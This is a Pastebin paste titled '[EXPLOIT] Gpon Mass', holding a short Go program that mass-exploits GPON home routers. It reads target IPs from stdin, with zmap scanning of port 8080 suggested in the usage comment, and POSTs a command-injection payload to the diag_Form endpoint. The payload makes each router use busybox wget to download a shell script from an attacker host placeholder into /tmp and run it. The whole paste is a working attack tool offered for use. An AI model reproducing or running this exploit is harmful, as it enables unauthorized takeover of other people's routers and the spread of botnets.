Merlyz

[EXPLOIT] Gpon Mass

Oct 14th, 2020 (edited)
734
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.08 KB | None | 0 0
  1. //#ARGS [ cat list | ./gpon or zmap -p8080 -w mx.zone -o-|./gpon ] --> Don't expect some fancy output.
  2. // and if ur dumb its go... compile it.
  3. package main
  4.  
  5. import (
  6. //"fmt"
  7. "net/http"
  8. "sync"
  9. "bufio"
  10. "time"
  11. "os"
  12. "strings"
  13. "bytes"
  14. )
  15. var payload []byte = []byte("XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://YOURHOST/YOURSHELLSCRIPT+-O+/tmp/ff;sh+/tmp/ff`&ipv=0")
  16.  
  17. var wg sync.WaitGroup  
  18. var queue []string;
  19.  
  20. func work(ip string){
  21.     ip = strings.TrimRight(ip, "\r\n")
  22.     url := "http://"+ip+":8080/GponForm/diag_Form?script/"
  23.     tr := &http.Transport{
  24.         ResponseHeaderTimeout: 5*time.Second,
  25.         DisableCompression: true,
  26.     }
  27.     client := &http.Client{Transport: tr, Timeout: 5*time.Second}
  28.     _, _ = client.Post(url, "text/plain", bytes.NewBuffer(payload))
  29. }
  30.  
  31.  
  32. func main(){
  33.     for {
  34.         r := bufio.NewReader(os.Stdin)
  35.         scan := bufio.NewScanner(r)
  36.         for scan.Scan(){
  37.             go work(scan.Text())
  38.             wg.Add(1)
  39.             time.Sleep(2*time.Millisecond)
  40.         }
  41.     }
  42.  
  43. }
Add Comment
Please, Sign In to add comment